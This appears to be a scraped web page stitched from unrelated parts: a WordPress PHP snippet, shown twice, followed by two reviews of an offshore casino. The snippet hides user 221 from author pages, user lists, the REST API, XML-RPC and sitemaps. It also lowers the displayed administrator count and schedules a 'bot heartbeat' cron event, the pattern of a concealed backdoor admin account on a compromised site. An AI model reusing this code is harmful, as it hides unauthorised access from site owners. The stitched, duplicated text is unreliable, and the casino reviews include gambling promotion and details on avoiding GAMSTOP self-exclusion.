add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 221;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 221;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 221;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 221;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 221;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 221;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Let’s give credit where it’s due. The game aggregation is genuinely broad. Microgaming, NetEnt, Betsoft, Evolution, Nolimit City – the list reads like a who’s who of the industry. You can play from a browser on mobile without hunting for an app. And the live chat is staffed around the clock. That’s the standard, but it’s a standard they meet.
This is where the polish wears off. The withdrawal pending time sits at 36 hours. That’s a day and a half before your money even starts moving. Daily, weekly, and monthly caps further restrict how much you can actually pull out. For a casino that launched several years ago, that pending time feels less like security and more like a squeeze.
| Limit Type | Amount (EUR/USD) |
|---|---|
| Daily | 2,000 |
| Weekly | 10,000 |
| Monthly | 40,000 |
| Pending Time | 36 hours |
No fees are charged, which is fine, but the pending window is where frustration builds. You don’t notice it when you’re winning. You notice it when you’re waiting.
AskGamblers lists Fortune Clock as terminated. That’s a red flag you can’t ignore. The complaint log is loaded with the usual suspects – withdrawal rejections, account closures, verification loops. Out of several dozen complaints, only a handful were marked as resolved. The average response time from the casino sits around two days, which isn’t terrible, but the content of those complaints suggests a pattern of making payout difficult.
The typical complaint process looks like this:
It’s a script that plays out often enough to be a feature, not a bug.
Check the responsible gambling tools – or rather, don’t bother, because most of them aren’t there. No video poker either, if that’s your game. The RTP isn’t stated on the details panel, and progressive jackpots are listed as unavailable. The site also blocks several major markets, including the US, Canada, and parts of Europe. The Curacao license is the legal baseline, but it doesn’t enforce the kind of player protections you’d expect from a top-tier jurisdiction.
Fortune Clock Casino is a textbook case of style over substance. The game library is strong enough to attract a player, and the 24/7 chat gives the illusion of support. But the withdrawal structure, the complaint history, and the lack of responsible gambling tools make it a shallow play. If you’re going to deposit, do it knowing exactly what you’re signing up for – a 36-hour pending window and a withdrawal cap that can leave you waiting days to access your own money. The best move is to compare the payout terms before you commit a single dollar.
]]>Launched in 2020 under Curacao eGaming, Fortune Clock isn’t trying to be a boutique casino. It’s built for volume. More than 2,500 titles means you’re not circling the same fifty slots every visit. The mix covers classic slots, table games and enough Megaways variants to keep even the most restless browser occupied. No downloadable app needed – the site runs in browser and scales to mobile without fuss. The provider list alone tells you the standard: NetEnt and Microgaming alongside Betsoft and Endorphina. That’s not a combination you see under every roof. It means quality control holds up even as the catalogue balloons.
The headline reads up to GBP 3,000 plus 225 free spins. Minimum deposit is GBP 10. Wagering sits at 30x the bonus amount, valid for 30 days, with a max bet of GBP 5 per spin while clearing. PayPal is explicitly excluded from the bonus – a detail that matters if that’s your go-to e-wallet. The real picture comes into focus when you run the numbers on two different deposit sizes:
| Deposit | Bonus | Wagering Target (30x) |
|---|---|---|
| GBP 10 (minimum) | GBP 10 bonus | GBP 300 |
| GBP 100 (max bonus target) | GBP 3,000 | GBP 90,000 |
The small deposit case is manageable – GBP 300 wagering is a fair ask. The max bonus scenario demands GBP 90,000 in playthrough. That’s not a casual spin session; it’s a full campaign. Know which lane you’re in before you click deposit.
The range of payment methods is genuinely broad. You get the usual cards and e-wallets plus crypto for those who want it:
Minimum deposit is GBP 10. Withdrawals take 1-3 business days after a 36-hour pending window. Daily limit is GBP 2,000; monthly limit is GBP 40,000. Those caps work for most players, though high rollers should note the monthly ceiling. Support runs 24/7 via email and phone, with the site available in English, Spanish, Turkish, Finnish, Czech, German, Polish, Portuguese and Norwegian.
You may hit an extra security check during login depending on your location or behaviour. That’s standard for offshore casinos, not a red flag – just worth knowing ahead of time so it doesn’t throw you.
Here’s where the shine wears off. Fortune Clock is not regulated by the UK Gambling Commission. It runs under Curacao eGaming, which means UK consumer protections don’t apply in the same way. No access to the Financial Ombudsman Service. No Section 8 or Section 10 process if a dispute arises. The casino does not report to GAMSTOP either – so if you’re self-excluded through the UK scheme, this site won’t block you automatically. You’d have to contact support directly for account closure or self-exclusion. That’s not a dealbreaker for every player. But it’s a fact you need to sit with before you deposit, not after.
Practical takeaway: Fortune Clock makes sense if you want a massive game library, multiple payment options including crypto, and a headline-grabbing bonus – and you’re willing to trade the safety net of UKGC regulation for it. If you’re the kind of player who reads terms before playing, keeps deposits moderate, and values dispute protection, the trade-off probably isn’t worth it. If you’re here for the game count and the bonus, just understand exactly what you’re signing up for. Go in with open eyes, not just open wallet.
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